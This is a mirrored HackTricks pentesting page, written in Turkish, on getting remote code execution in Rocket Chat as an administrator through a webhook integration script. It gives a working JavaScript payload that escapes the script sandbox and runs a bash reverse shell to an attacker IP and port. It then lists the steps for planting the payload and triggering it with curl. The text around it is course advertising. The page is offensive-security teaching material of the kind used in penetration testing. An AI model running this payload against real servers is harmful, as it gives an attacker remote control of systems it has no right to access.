Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-18 06:58:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

4.2 KiB
Raw Blame History

Rocket Chat

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

{% embed url="https://websec.nl/" %}

RCE

Eğer Rocket Chat içinde adminseniz RCE elde edebilirsiniz.

  • Integrations'a gidin ve New Integration'ı seçin ve herhangi birini seçin: Incoming WebHook veya Outgoing WebHook.
  • /admin/integrations/incoming
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • WebHook'u yapılandırın (kanal ve kullanıcı adı olarak gönderi mevcut olmalıdır):
  • WebHook betiğini yapılandırın:
  • Değişiklikleri kaydedin
  • Oluşturulan WebHook URL'sini alın:
  • Curl ile çağırın ve ters shell'i almalısınız

{% embed url="https://websec.nl/" %}

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: